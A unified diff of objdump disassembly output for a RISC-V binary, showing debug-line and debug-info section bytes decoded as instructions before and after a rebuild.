-    3c36:	0100                	addi	s0,sp,128
-    3c38:	00090003          	lb	zero,0(s2)
-    3c3c:	0100                	addi	s0,sp,128
-    3c3e:	00090003          	lb	zero,0(s2)
-    3c42:	0100                	addi	s0,sp,128
-    3c44:	00090003          	lb	zero,0(s2)
-    3c48:	0100                	addi	s0,sp,128
-    3c4a:	00090003          	lb	zero,0(s2)
-    3c4e:	0100                	addi	s0,sp,128
-    3c50:	00090003          	lb	zero,0(s2)
-    3c54:	0100                	addi	s0,sp,128
-    3c56:	00090003          	lb	zero,0(s2)
-    3c5a:	0100                	addi	s0,sp,128
-    3c5c:	08090003          	lb	zero,128(s2)
-    3c60:	0100                	addi	s0,sp,128
-    3c62:	0a090003          	lb	zero,160(s2)
-    3c66:	0100                	addi	s0,sp,128
-    3c68:	00090003          	lb	zero,0(s2)
-    3c6c:	0100                	addi	s0,sp,128
-    3c6e:	04090003          	lb	zero,64(s2)
-    3c72:	0100                	addi	s0,sp,128
-    3c74:	02090003          	lb	zero,32(s2)
-    3c78:	0100                	addi	s0,sp,128
-    3c7a:	04090003          	lb	zero,64(s2)
-    3c7e:	0100                	addi	s0,sp,128
-    3c80:	04090003          	lb	zero,64(s2)
-    3c84:	0100                	addi	s0,sp,128
-    3c86:	02090003          	lb	zero,32(s2)
-    3c8a:	0100                	addi	s0,sp,128
-    3c8c:	04090003          	lb	zero,64(s2)
-    3c90:	0100                	addi	s0,sp,128
-    3c92:	04090003          	lb	zero,64(s2)
-    3c96:	0100                	addi	s0,sp,128
-    3c98:	08090003          	lb	zero,128(s2)
-    3c9c:	0100                	addi	s0,sp,128
-    3c9e:	06090003          	lb	zero,96(s2)
-    3ca2:	0100                	addi	s0,sp,128
-    3ca4:	04090003          	lb	zero,64(s2)
-    3ca8:	0100                	addi	s0,sp,128
-    3caa:	04090003          	lb	zero,64(s2)
-    3cae:	0100                	addi	s0,sp,128
-    3cb0:	02090003          	lb	zero,32(s2)
-    3cb4:	0100                	addi	s0,sp,128
-    3cb6:	04090003          	lb	zero,64(s2)
-    3cba:	0100                	addi	s0,sp,128
-    3cbc:	04090003          	lb	zero,64(s2)
-    3cc0:	0100                	addi	s0,sp,128
-    3cc2:	02090003          	lb	zero,32(s2)
-    3cc6:	0100                	addi	s0,sp,128
-    3cc8:	02090003          	lb	zero,32(s2)
-    3ccc:	0100                	addi	s0,sp,128
-    3cce:	00090003          	lb	zero,0(s2)
-    3cd2:	0100                	addi	s0,sp,128
-    3cd4:	0705                	addi	a4,a4,1
-    3cd6:	02091503          	lh	a0,32(s2)
-    3cda:	0100                	addi	s0,sp,128
-    3cdc:	0a05                	addi	s4,s4,1
-    3cde:	0306                	slli	t1,t1,0x1
-    3ce0:	0900                	addi	s0,sp,144
-    3ce2:	0000                	unimp
-    3ce4:	0501                	addi	a0,a0,0
-    3ce6:	0604                	addi	s1,sp,768
-    3ce8:	04091303          	lh	t1,64(s2)
-    3cec:	0100                	addi	s0,sp,128
-    3cee:	00090003          	lb	zero,0(s2)
-    3cf2:	0100                	addi	s0,sp,128
-    3cf4:	00090003          	lb	zero,0(s2)
-    3cf8:	0100                	addi	s0,sp,128
-    3cfa:	00090003          	lb	zero,0(s2)
-    3cfe:	0100                	addi	s0,sp,128
-    3d00:	00090003          	lb	zero,0(s2)
-    3d04:	0100                	addi	s0,sp,128
-    3d06:	10090003          	lb	zero,256(s2)
-    3d0a:	0100                	addi	s0,sp,128
-    3d0c:	1c090003          	lb	zero,448(s2)
-    3d10:	0100                	addi	s0,sp,128
-    3d12:	00090103          	lb	sp,0(s2)
-    3d16:	0100                	addi	s0,sp,128
-    3d18:	0705                	addi	a4,a4,1
-    3d1a:	0306                	slli	t1,t1,0x1
-    3d1c:	0900                	addi	s0,sp,144
-    3d1e:	0000                	unimp
-    3d20:	0501                	addi	a0,a0,0
-    3d22:	0608                	addi	a0,sp,768
-    3d24:	04090a03          	lb	s4,64(s2)
-    3d28:	0100                	addi	s0,sp,128
-    3d2a:	0b05                	addi	s6,s6,1
-    3d2c:	0306                	slli	t1,t1,0x1
-    3d2e:	0900                	addi	s0,sp,144
-    3d30:	0000                	unimp
-    3d32:	0501                	addi	a0,a0,0
-    3d34:	0314                	addi	a3,sp,384
-    3d36:	0900                	addi	s0,sp,144
-    3d38:	0004                	0x4
-    3d3a:	0501                	addi	a0,a0,0
-    3d3c:	0605                	addi	a2,a2,1
-    3d3e:	04090203          	lb	tp,64(s2)
-    3d42:	0100                	addi	s0,sp,128
-    3d44:	00090103          	lb	sp,0(s2)
-    3d48:	0100                	addi	s0,sp,128
-    3d4a:	00090003          	lb	zero,0(s2)
-    3d4e:	0100                	addi	s0,sp,128
-    3d50:	00090003          	lb	zero,0(s2)
-    3d54:	0100                	addi	s0,sp,128
-    3d56:	04090003          	lb	zero,64(s2)
-    3d5a:	0100                	addi	s0,sp,128
-    3d5c:	0a090003          	lb	zero,160(s2)
-    3d60:	0100                	addi	s0,sp,128
-    3d62:	00090003          	lb	zero,0(s2)
-    3d66:	0100                	addi	s0,sp,128
-    3d68:	0805                	addi	a6,a6,1
-    3d6a:	00090503          	lb	a0,0(s2)
-    3d6e:	0100                	addi	s0,sp,128
-    3d70:	00090203          	lb	tp,0(s2)
-    3d74:	0100                	addi	s0,sp,128
-    3d76:	0505                	addi	a0,a0,1
-    3d78:	00090203          	lb	tp,0(s2)
-    3d7c:	0100                	addi	s0,sp,128
-    3d7e:	00090103          	lb	sp,0(s2)
-    3d82:	0100                	addi	s0,sp,128
-    3d84:	00090103          	lb	sp,0(s2)
-    3d88:	0100                	addi	s0,sp,128
-    3d8a:	0d05                	addi	s10,s10,1
-    3d8c:	0306                	slli	t1,t1,0x1
-    3d8e:	0900                	addi	s0,sp,144
-    3d90:	0000                	unimp
-    3d92:	0501                	addi	a0,a0,0
-    3d94:	0304                	addi	s1,sp,384
-    3d96:	00040967          	jalr	s2,s0
-    3d9a:	0501                	addi	a0,a0,0
-    3d9c:	0608                	addi	a0,sp,768
-    3d9e:	0e091e03          	lh	t3,224(s2)
-    3da2:	0100                	addi	s0,sp,128
-    3da4:	00090303          	lb	t1,0(s2)
-    3da8:	0100                	addi	s0,sp,128
-    3daa:	00090203          	lb	tp,0(s2)
-    3dae:	0100                	addi	s0,sp,128
-    3db0:	1e05                	addi	t3,t3,-31
-    3db2:	0306                	slli	t1,t1,0x1
-    3db4:	0900                	addi	s0,sp,144
-    3db6:	0000                	unimp
-    3db8:	0501                	addi	a0,a0,0
-    3dba:	0311                	addi	t1,t1,4
-    3dbc:	0900                	addi	s0,sp,144
-    3dbe:	0004                	0x4
-    3dc0:	0501                	addi	a0,a0,0
-    3dc2:	0900030b          	0x900030b
-    3dc6:	0004                	0x4
-    3dc8:	0501                	addi	a0,a0,0
-    3dca:	0608                	addi	a0,sp,768
-    3dcc:	04090103          	lb	sp,64(s2)
-    3dd0:	0100                	addi	s0,sp,128
-    3dd2:	0b05                	addi	s6,s6,1
-    3dd4:	0306                	slli	t1,t1,0x1
-    3dd6:	0901                	addi	s2,s2,0
-    3dd8:	0000                	unimp
-    3dda:	0501                	addi	a0,a0,0
-    3ddc:	0308                	addi	a0,sp,384
-    3dde:	0904                	addi	s1,sp,144
-    3de0:	0004                	0x4
-    3de2:	0501                	addi	a0,a0,0
-    3de4:	097b030b          	0x97b030b
-    3de8:	0004                	0x4
-    3dea:	0501                	addi	a0,a0,0
-    3dec:	0608                	addi	a0,sp,768
-    3dee:	04090103          	lb	sp,64(s2)
-    3df2:	0100                	addi	s0,sp,128
-    3df4:	00090103          	lb	sp,0(s2)
-    3df8:	0100                	addi	s0,sp,128
-    3dfa:	0306                	slli	t1,t1,0x1
-    3dfc:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    3e00:	0501                	addi	a0,a0,0
-    3e02:	0311                	addi	t1,t1,4
-    3e04:	097d                	addi	s2,s2,31
-    3e06:	0004                	0x4
-    3e08:	0501                	addi	a0,a0,0
-    3e0a:	031e                	slli	t1,t1,0x7
-    3e0c:	0900                	addi	s0,sp,144
-    3e0e:	0004                	0x4
-    3e10:	0501                	addi	a0,a0,0
-    3e12:	0900030b          	0x900030b
-    3e16:	0004                	0x4
-    3e18:	0501                	addi	a0,a0,0
-    3e1a:	0608                	addi	a0,sp,768
-    3e1c:	02090103          	lb	sp,32(s2)
-    3e20:	0100                	addi	s0,sp,128
-    3e22:	0306                	slli	t1,t1,0x1
-    3e24:	0902                	c.slli64	s2
-    3e26:	0000                	unimp
-    3e28:	0501                	addi	a0,a0,0
-    3e2a:	097e030b          	0x97e030b
-    3e2e:	0006                	c.slli	zero,0x1
-    3e30:	0501                	addi	a0,a0,0
-    3e32:	0608                	addi	a0,sp,768
-    3e34:	04090203          	lb	tp,64(s2)
-    3e38:	0100                	addi	s0,sp,128
-    3e3a:	00090003          	lb	zero,0(s2)
-    3e3e:	0100                	addi	s0,sp,128
-    3e40:	00090003          	lb	zero,0(s2)
-    3e44:	0100                	addi	s0,sp,128
-    3e46:	00090003          	lb	zero,0(s2)
-    3e4a:	0100                	addi	s0,sp,128
-    3e4c:	00090003          	lb	zero,0(s2)
-    3e50:	0100                	addi	s0,sp,128
-    3e52:	00090003          	lb	zero,0(s2)
-    3e56:	0100                	addi	s0,sp,128
-    3e58:	00090003          	lb	zero,0(s2)
-    3e5c:	0100                	addi	s0,sp,128
-    3e5e:	08090003          	lb	zero,128(s2)
-    3e62:	0100                	addi	s0,sp,128
-    3e64:	08090003          	lb	zero,128(s2)
-    3e68:	0100                	addi	s0,sp,128
-    3e6a:	00090003          	lb	zero,0(s2)
-    3e6e:	0100                	addi	s0,sp,128
-    3e70:	06090003          	lb	zero,96(s2)
-    3e74:	0100                	addi	s0,sp,128
-    3e76:	06090003          	lb	zero,96(s2)
-    3e7a:	0100                	addi	s0,sp,128
-    3e7c:	04090003          	lb	zero,64(s2)
-    3e80:	0100                	addi	s0,sp,128
-    3e82:	04090003          	lb	zero,64(s2)
-    3e86:	0100                	addi	s0,sp,128
-    3e88:	06090003          	lb	zero,96(s2)
-    3e8c:	0100                	addi	s0,sp,128
-    3e8e:	04090003          	lb	zero,64(s2)
-    3e92:	0100                	addi	s0,sp,128
-    3e94:	04090003          	lb	zero,64(s2)
-    3e98:	0100                	addi	s0,sp,128
-    3e9a:	04090003          	lb	zero,64(s2)
-    3e9e:	0100                	addi	s0,sp,128
-    3ea0:	06090003          	lb	zero,96(s2)
-    3ea4:	0100                	addi	s0,sp,128
-    3ea6:	0a090003          	lb	zero,160(s2)
-    3eaa:	0100                	addi	s0,sp,128
-    3eac:	06090003          	lb	zero,96(s2)
-    3eb0:	0100                	addi	s0,sp,128
-    3eb2:	06090003          	lb	zero,96(s2)
-    3eb6:	0100                	addi	s0,sp,128
-    3eb8:	04090003          	lb	zero,64(s2)
-    3ebc:	0100                	addi	s0,sp,128
-    3ebe:	04090003          	lb	zero,64(s2)
-    3ec2:	0100                	addi	s0,sp,128
-    3ec4:	06090003          	lb	zero,96(s2)
-    3ec8:	0100                	addi	s0,sp,128
-    3eca:	0306                	slli	t1,t1,0x1
-    3ecc:	0901                	addi	s2,s2,0
-    3ece:	0002                	c.slli64	zero
-    3ed0:	0301                	addi	t1,t1,0
-    3ed2:	097f                	0x97f
-    3ed4:	0002                	c.slli64	zero
-    3ed6:	0301                	addi	t1,t1,0
-    3ed8:	0901                	addi	s2,s2,0
-    3eda:	0002                	c.slli64	zero
-    3edc:	0301                	addi	t1,t1,0
-    3ede:	097f                	0x97f
-    3ee0:	0008                	0x8
-    3ee2:	0601                	addi	a2,a2,0
-    3ee4:	02090003          	lb	zero,32(s2)
-    3ee8:	0100                	addi	s0,sp,128
-    3eea:	00090003          	lb	zero,0(s2)
-    3eee:	0100                	addi	s0,sp,128
-    3ef0:	00090003          	lb	zero,0(s2)
-    3ef4:	0100                	addi	s0,sp,128
-    3ef6:	00090103          	lb	sp,0(s2)
-    3efa:	0100                	addi	s0,sp,128
-    3efc:	00090003          	lb	zero,0(s2)
-    3f00:	0100                	addi	s0,sp,128
-    3f02:	00090003          	lb	zero,0(s2)
-    3f06:	0100                	addi	s0,sp,128
-    3f08:	00090003          	lb	zero,0(s2)
-    3f0c:	0100                	addi	s0,sp,128
-    3f0e:	00090003          	lb	zero,0(s2)
-    3f12:	0100                	addi	s0,sp,128
-    3f14:	02090003          	lb	zero,32(s2)
-    3f18:	0100                	addi	s0,sp,128
-    3f1a:	08090003          	lb	zero,128(s2)
-    3f1e:	0100                	addi	s0,sp,128
-    3f20:	00090003          	lb	zero,0(s2)
-    3f24:	0100                	addi	s0,sp,128
-    3f26:	04090003          	lb	zero,64(s2)
-    3f2a:	0100                	addi	s0,sp,128
-    3f2c:	00090003          	lb	zero,0(s2)
-    3f30:	0100                	addi	s0,sp,128
-    3f32:	04090003          	lb	zero,64(s2)
-    3f36:	0100                	addi	s0,sp,128
-    3f38:	08090003          	lb	zero,128(s2)
-    3f3c:	0100                	addi	s0,sp,128
-    3f3e:	02090003          	lb	zero,32(s2)
-    3f42:	0100                	addi	s0,sp,128
-    3f44:	06090003          	lb	zero,96(s2)
-    3f48:	0100                	addi	s0,sp,128
-    3f4a:	04090003          	lb	zero,64(s2)
-    3f4e:	0100                	addi	s0,sp,128
-    3f50:	02090003          	lb	zero,32(s2)
-    3f54:	0100                	addi	s0,sp,128
-    3f56:	06090003          	lb	zero,96(s2)
-    3f5a:	0100                	addi	s0,sp,128
-    3f5c:	0c090003          	lb	zero,192(s2)
-    3f60:	0100                	addi	s0,sp,128
-    3f62:	00090203          	lb	tp,0(s2)
-    3f66:	0100                	addi	s0,sp,128
-    3f68:	0b05                	addi	s6,s6,1
-    3f6a:	0306                	slli	t1,t1,0x1
-    3f6c:	0900                	addi	s0,sp,144
-    3f6e:	0000                	unimp
-    3f70:	0501                	addi	a0,a0,0
-    3f72:	0314                	addi	a3,sp,384
-    3f74:	0900                	addi	s0,sp,144
-    3f76:	0004                	0x4
-    3f78:	0501                	addi	a0,a0,0
-    3f7a:	0321                	addi	t1,t1,8
-    3f7c:	0900                	addi	s0,sp,144
-    3f7e:	0004                	0x4
-    3f80:	0501                	addi	a0,a0,0
-    3f82:	0605                	addi	a2,a2,1
-    3f84:	04090203          	lb	tp,64(s2)
-    3f88:	0100                	addi	s0,sp,128
-    3f8a:	00090103          	lb	sp,0(s2)
-    3f8e:	0100                	addi	s0,sp,128
-    3f90:	00090003          	lb	zero,0(s2)
-    3f94:	0100                	addi	s0,sp,128
-    3f96:	00090003          	lb	zero,0(s2)
-    3f9a:	0100                	addi	s0,sp,128
-    3f9c:	04090003          	lb	zero,64(s2)
-    3fa0:	0100                	addi	s0,sp,128
-    3fa2:	08090003          	lb	zero,128(s2)
-    3fa6:	0100                	addi	s0,sp,128
-    3fa8:	02090003          	lb	zero,32(s2)
-    3fac:	0100                	addi	s0,sp,128
-    3fae:	0805                	addi	a6,a6,1
-    3fb0:	00090303          	lb	t1,0(s2)
-    3fb4:	0100                	addi	s0,sp,128
-    3fb6:	00090303          	lb	t1,0(s2)
-    3fba:	0100                	addi	s0,sp,128
-    3fbc:	0505                	addi	a0,a0,1
-    3fbe:	00090203          	lb	tp,0(s2)
-    3fc2:	0100                	addi	s0,sp,128
-    3fc4:	00090003          	lb	zero,0(s2)
-    3fc8:	0100                	addi	s0,sp,128
-    3fca:	00090003          	lb	zero,0(s2)
-    3fce:	0100                	addi	s0,sp,128
-    3fd0:	04090003          	lb	zero,64(s2)
-    3fd4:	0100                	addi	s0,sp,128
-    3fd6:	08090003          	lb	zero,128(s2)
-    3fda:	0100                	addi	s0,sp,128
-    3fdc:	00090003          	lb	zero,0(s2)
-    3fe0:	0100                	addi	s0,sp,128
-    3fe2:	00090103          	lb	sp,0(s2)
-    3fe6:	0100                	addi	s0,sp,128
-    3fe8:	1405                	addi	s0,s0,-31
-    3fea:	0306                	slli	t1,t1,0x1
-    3fec:	0900                	addi	s0,sp,144
-    3fee:	0000                	unimp
-    3ff0:	0501                	addi	a0,a0,0
-    3ff2:	0320                	addi	s0,sp,392
-    3ff4:	0900                	addi	s0,sp,144
-    3ff6:	0004                	0x4
-    3ff8:	0501                	addi	a0,a0,0
-    3ffa:	0605                	addi	a2,a2,1
-    3ffc:	04090103          	lb	sp,64(s2)
-    4000:	0100                	addi	s0,sp,128
-    4002:	00090103          	lb	sp,0(s2)
-    4006:	0100                	addi	s0,sp,128
-    4008:	0d05                	addi	s10,s10,1
-    400a:	0306                	slli	t1,t1,0x1
-    400c:	0900                	addi	s0,sp,144
-    400e:	0000                	unimp
-    4010:	0901                	addi	s2,s2,0
-    4012:	000a                	c.slli	zero,0x2
-    4014:	0100                	addi	s0,sp,128
-    4016:	01              	Address 0x0000000000004016 is out of bounds.
-
+    26e2:	0505                	addi	a0,a0,1
+    26e4:	0306                	slli	t1,t1,0x1
+    26e6:	0901                	addi	s2,s2,0
+    26e8:	0004                	0x4
+    26ea:	0501                	addi	a0,a0,0
+    26ec:	0003061b          	0x3061b
+    26f0:	0009                	c.nop	2
+    26f2:	0100                	addi	s0,sp,128
+    26f4:	1f05                	addi	t5,t5,-31
+    26f6:	0200                	addi	s0,sp,256
+    26f8:	0204                	addi	s1,sp,256
+    26fa:	0306                	slli	t1,t1,0x1
+    26fc:	0978                	addi	a4,sp,156
+    26fe:	0002                	c.slli64	zero
+    2700:	0501                	addi	a0,a0,0
+    2702:	0609                	addi	a2,a2,2
+    2704:	04091003          	lh	zero,64(s2)
+    2708:	0100                	addi	s0,sp,128
+    270a:	0409                	addi	s0,s0,2
+    270c:	0000                	unimp
+    270e:	0101                	addi	sp,sp,0
 
 Disassembly of section .debug_info:
 
@@ -14304,19 +9178,19 @@ Disassembly of section .debug_info:
       20:	0050                	addi	a2,sp,4
       22:	0000                	unimp
       24:	8001                	c.srli64	s0
-      26:	00001de3          	bnez	zero,840 <__stack_size+0x40>
+      26:	0000087b          	0x87b
       2a:	0004                	0x4
       2c:	0014                	0x14
       2e:	0000                	unimp
       30:	0104                	addi	s1,sp,128
-      32:	4db0                	lw	a2,88(a1)
+      32:	4ead                	li	t4,11
       34:	0000                	unimp
-      36:	150c                	addi	a1,sp,672
+      36:	c40c                	sw	a1,8(s0)
       38:	0095                	addi	ra,ra,5
-      3a:	3300                	fld	fs0,32(a4)
+      3a:	af00                	fsd	fs0,24(a4)
       3c:	0085                	addi	ra,ra,1
-      3e:	a800                	fsd	fs0,16(s0)
-      40:	0002                	c.slli64	zero
+      3e:	8000                	0x8000
+      40:	0000                	unimp
       42:	0000                	unimp
       44:	0000                	unimp
       46:	f800                	fsw	fs0,48(s0)
@@ -14324,6037 +9198,3532 @@ Disassembly of section .debug_info:
       4a:	0000                	unimp
       4c:	0000                	unimp
       4e:	0200                	addi	s0,sp,256
-      50:	0708                	addi	a0,sp,896
-      52:	06a1                	addi	a3,a3,8
+      50:	0601                	addi	a2,a2,0
+      52:	7f6d                	lui	t5,0xffffb
       54:	0000                	unimp
-      56:	69050403          	lb	s0,1680(a0) # 1b690 <__stack_size+0x1ae90>
-      5a:	746e                	flw	fs0,248(sp)
-      5c:	0200                	addi	s0,sp,256
-      5e:	0601                	addi	a2,a2,0
-      60:	7eea                	flw	ft9,184(sp)
-      62:	0000                	unimp
-      64:	f404                	fsw	fs1,40(s0)
-      66:	0004                	0x4
-      68:	0200                	addi	s0,sp,256
-      6a:	004a182b          	0x4a182b
+      56:	00047403          	0x47403
+      5a:	0200                	addi	s0,sp,256
+      5c:	003c182b          	0x3c182b
+      60:	0000                	unimp
+      62:	0102                	c.slli64	sp
+      64:	a008                	fsd	fa0,0(s0)
+      66:	02000013          	li	zero,32
+      6a:	0502                	c.slli64	a0
+      6c:	3822                	fld	fa6,40(sp)
       6e:	0000                	unimp
-      70:	0102                	c.slli64	sp
-      72:	3908                	fld	fa0,48(a0)
-      74:	0014                	0x14
-      76:	0200                	addi	s0,sp,256
-      78:	0502                	c.slli64	a0
-      7a:	3754                	fld	fa3,168(a4)
-      7c:	0000                	unimp
-      7e:	0202                	c.slli64	tp
-      80:	009b7a07          	0x9b7a07
-      84:	0200                	addi	s0,sp,256
-      86:	0504                	addi	s1,sp,640
-      88:	505c                	lw	a5,36(s0)
-      8a:	0000                	unimp
-      8c:	2704                	fld	fs1,8(a4)
-      8e:	02000027          	0x2000027
-      92:	0072194f          	fnmadd.s	fs2,ft4,ft7,ft0,rtz
-      96:	0000                	unimp
-      98:	0402                	c.slli64	s0
-      9a:	00651407          	0x651407
-      9e:	0500                	addi	s0,sp,640
-      a0:	0072                	c.slli	zero,0x1c
-      a2:	0000                	unimp
-      a4:	7206                	flw	ft4,96(sp)
-      a6:	0000                	unimp
-      a8:	0200                	addi	s0,sp,256
-      aa:	0508                	addi	a0,sp,640
-      ac:	8fe4                	0x8fe4
-      ae:	0000                	unimp
-      b0:	3d04                	fld	fs1,56(a0)
-      b2:	0044                	addi	s1,sp,4
+      70:	00226f03          	0x226f03
+      74:	0200                	addi	s0,sp,256
+      76:	1939                	addi	s2,s2,-18
+      78:	0056                	c.slli	zero,0x15
+      7a:	0000                	unimp
+      7c:	0202                	c.slli64	tp
+      7e:	009bf707          	0x9bf707
+      82:	0200                	addi	s0,sp,256
+      84:	0504                	addi	s1,sp,640
+      86:	5184                	lw	s1,32(a1)
+      88:	0000                	unimp
+      8a:	0027eb03          	0x27eb03
+      8e:	0200                	addi	s0,sp,256
+      90:	0070194f          	fnmadd.s	fs2,ft0,ft7,ft0,rtz
+      94:	0000                	unimp
+      96:	0402                	c.slli64	s0
+      98:	0065cd07          	flq	fs10,6(a1)
+      9c:	0400                	addi	s0,sp,512
+      9e:	0070                	addi	a2,sp,12
+      a0:	0000                	unimp
+      a2:	0802                	c.slli64	a6
+      a4:	b605                	j	fffffbc4 <_heap_end+0x7fff13c4>
+      a6:	0090                	addi	a2,sp,64
+      a8:	0300                	addi	s0,sp,384
+      aa:	4545                	li	a0,17
+      ac:	0000                	unimp
+      ae:	6902                	flw	fs2,0(sp)
+      b0:	8f19                	sub	a4,a4,a4
+      b2:	0000                	unimp
       b4:	0200                	addi	s0,sp,256
-      b6:	1969                	addi	s2,s2,-6
-      b8:	0029                	c.nop	10
-      ba:	0000                	unimp
-      bc:	3006                	fld	ft0,96(sp)
-      be:	0000                	unimp
-      c0:	0500                	addi	s0,sp,640
-      c2:	0030                	addi	a2,sp,8
-      c4:	0000                	unimp
-      c6:	0402                	c.slli64	s0
-      c8:	00716407          	0x716407
-      cc:	0500                	addi	s0,sp,640
-      ce:	00a0                	addi	s0,sp,72
-      d0:	0000                	unimp
-      d2:	1002                	c.slli	zero,0x20
-      d4:	9604                	0x9604
-      d6:	0091                	addi	ra,ra,4
-      d8:	0400                	addi	s0,sp,512
-      da:	04f6                	slli	s1,s1,0x1d
-      dc:	0000                	unimp
-      de:	3e131803          	lh	a6,993(t1)
-      e2:	0000                	unimp
-      e4:	0500                	addi	s0,sp,640
-      e6:	000000b3          	add	ra,zero,zero
-      ea:	2904                	fld	fs1,16(a0)
-      ec:	03000027          	0x3000027
-      f0:	1430                	addi	a2,sp,552
-      f2:	0066                	c.slli	zero,0x19
-      f4:	0000                	unimp
-      f6:	c405                	beqz	s0,11e <__stack_size-0x6e2>
+      b6:	0708                	addi	a0,sp,896
+      b8:	00000617          	auipc	a2,0x0
+      bc:	0405                	addi	s0,s0,1
+      be:	6905                	lui	s2,0x1
+      c0:	746e                	flw	fs0,248(sp)
+      c2:	0600                	addi	s0,sp,768
+      c4:	0096                	slli	ra,ra,0x5
+      c6:	0000                	unimp
+      c8:	0402                	c.slli64	s0
+      ca:	0071e507          	0x71e507
+      ce:	0200                	addi	s0,sp,256
+      d0:	0410                	addi	a2,sp,512
+      d2:	00009233          	sll	tp,ra,zero
+      d6:	00047603          	0x47603
+      da:	0300                	addi	s0,sp,384
+      dc:	1318                	addi	a4,sp,416
+      de:	0030                	addi	a2,sp,8
+      e0:	0000                	unimp
+      e2:	00227103          	0x227103
+      e6:	0300                	addi	s0,sp,384
+      e8:	1424                	addi	s1,sp,552
+      ea:	004a                	c.slli	zero,0x12
+      ec:	0000                	unimp
+      ee:	0027ed03          	0x27ed03
+      f2:	0300                	addi	s0,sp,384
+      f4:	1430                	addi	a2,sp,552
+      f6:	0064                	addi	s1,sp,12
       f8:	0000                	unimp
-      fa:	0400                	addi	s0,sp,512
-      fc:	0000443f 8a143c03 	0x8a143c030000443f
-     104:	0000                	unimp
-     106:	0500                	addi	s0,sp,640
-     108:	00d5                	addi	ra,ra,21
-     10a:	0000                	unimp
-     10c:	00ec0407          	0xec0407
-     110:	0000                	unimp
-     112:	0102                	c.slli64	sp
-     114:	f108                	fsw	fa0,32(a0)
-     116:	007e                	c.slli	zero,0x1f
-     118:	0500                	addi	s0,sp,640
-     11a:	00ec                	addi	a1,sp,76
-     11c:	0000                	unimp
-     11e:	00f30407          	0xf30407
-     122:	0000                	unimp
-     124:	ec08                	fsw	fa0,24(s0)
-     126:	0000                	unimp
-     128:	0e00                	addi	s0,sp,784
-     12a:	0001                	nop
-     12c:	0900                	addi	s0,sp,144
-     12e:	00a0                	addi	s0,sp,72
-     130:	0000                	unimp
-     132:	04070007          	0x4070007
-     136:	0114                	addi	a3,sp,128
-     138:	0000                	unimp
-     13a:	0b0a                	slli	s6,s6,0x2
-     13c:	0128                	addi	a0,sp,136
-     13e:	080e                	slli	a6,a6,0x3
-     140:	0142                	slli	sp,sp,0x10
-     142:	0000                	unimp
-     144:	0c0c                	addi	a1,sp,528
-     146:	0011                	c.nop	4
-     148:	0100                	addi	s0,sp,128
-     14a:	0142070f          	0x142070f
-     14e:	0000                	unimp
-     150:	0d00                	addi	s0,sp,656
-     152:	0072                	c.slli	zero,0x1c
-     154:	1001                	c.nop	-32
-     156:	0000960f          	0x960f
-     15a:	2000                	fld	fs0,0(s0)
-     15c:	770d                	lui	a4,0xfffe3
-     15e:	0100                	addi	s0,sp,128
-     160:	0f11                	addi	t5,t5,4
-     162:	0096                	slli	ra,ra,0x5
+      fa:	c804                	sw	s1,16(s0)
+      fc:	0000                	unimp
+      fe:	0300                	addi	s0,sp,384
+     100:	00004547          	fmsub.s	fa0,ft0,ft0,ft0,rmm
+     104:	83143c03          	0x83143c03
+     108:	0000                	unimp
+     10a:	0700                	addi	s0,sp,896
+     10c:	eb04                	fsw	fs1,16(a4)
+     10e:	0000                	unimp
+     110:	0200                	addi	s0,sp,256
+     112:	0801                	addi	a6,a6,0
+     114:	7f74                	flw	fa3,124(a4)
+     116:	0000                	unimp
+     118:	eb04                	fsw	fs1,16(a4)
+     11a:	0000                	unimp
+     11c:	0700                	addi	s0,sp,896
+     11e:	f204                	fsw	fs1,32(a2)
+     120:	0000                	unimp
+     122:	0800                	addi	s0,sp,16
+     124:	000000eb          	0xeb
+     128:	010d                	addi	sp,sp,3
+     12a:	0000                	unimp
+     12c:	a209                	j	22e <__stack_size-0x5d2>
+     12e:	0000                	unimp
+     130:	0700                	addi	s0,sp,896
+     132:	0a00                	addi	s0,sp,272
+     134:	8b6d                	andi	a4,a4,27
+     136:	0000                	unimp
+     138:	0408                	addi	a0,sp,512
+     13a:	080a                	slli	a6,a6,0x2
+     13c:	0135                	addi	sp,sp,13
+     13e:	0000                	unimp
+     140:	6e656c0b          	0x6e656c0b
+     144:	0400                	addi	s0,sp,512
+     146:	00bc0b0b          	0xbc0b0b
+     14a:	0000                	unimp
+     14c:	0c00                	addi	s0,sp,528
+     14e:	10a0                	addi	s0,sp,104
+     150:	0000                	unimp
+     152:	0c04                	addi	s1,sp,528
+     154:	e508                	fsw	fa0,8(a0)
+     156:	0000                	unimp
+     158:	0400                	addi	s0,sp,512
+     15a:	0d00                	addi	s0,sp,656
+     15c:	22d5                	jal	340 <__stack_size-0x4c0>
+     15e:	0000                	unimp
+     160:	00a20407          	0xa20407
      164:	0000                	unimp
-     166:	0024                	addi	s1,sp,8
-     168:	ec08                	fsw	fa0,24(s0)
-     16a:	0000                	unimp
-     16c:	5200                	lw	s0,32(a2)
-     16e:	0001                	nop
-     170:	0900                	addi	s0,sp,144
-     172:	00a0                	addi	s0,sp,72
-     174:	0000                	unimp
-     176:	001f f20e 0070      	0x70f20e001f
-     17c:	0100                	addi	s0,sp,128
-     17e:	0312                	slli	t1,t1,0x4
-     180:	0115                	addi	sp,sp,5
-     182:	0000                	unimp
-     184:	0305                	addi	t1,t1,1
-     186:	d898                	sw	a4,48(s1)
-     188:	8000                	0x8000
-     18a:	ec08                	fsw	fa0,24(s0)
-     18c:	0000                	unimp
-     18e:	7400                	flw	fs0,40(s0)
-     190:	0001                	nop
-     192:	0900                	addi	s0,sp,144
-     194:	00a0                	addi	s0,sp,72
-     196:	0000                	unimp
-     198:	0020                	addi	s0,sp,8
-     19a:	cf0e                	sw	gp,156(sp)
-     19c:	0036                	c.slli	zero,0xd
-     19e:	0100                	addi	s0,sp,128
-     1a0:	0d14                	addi	a3,sp,656
-     1a2:	0164                	addi	s1,sp,140
+     166:	0f04                	addi	s1,sp,912
+     168:	5406                	lw	s0,96(sp)
+     16a:	0001                	nop
+     16c:	0e00                	addi	s0,sp,784
+     16e:	4dc4                	lw	s1,28(a1)
+     170:	0000                	unimp
+     172:	0e00                	addi	s0,sp,784
+     174:	9e52                	add	t3,t3,s4
+     176:	0000                	unimp
+     178:	0001                	nop
+     17a:	0057730f          	0x57730f
+     17e:	0400                	addi	s0,sp,512
+     180:	1512                	slli	a0,a0,0x24
+     182:	000000f7          	0xf7
+     186:	2810                	fld	fa2,16(s0)
+     188:	1001                	c.nop	-32
+     18a:	8d08                	0x8d08
+     18c:	0001                	nop
+     18e:	0c00                	addi	s0,sp,528
+     190:	10a0                	addi	s0,sp,104
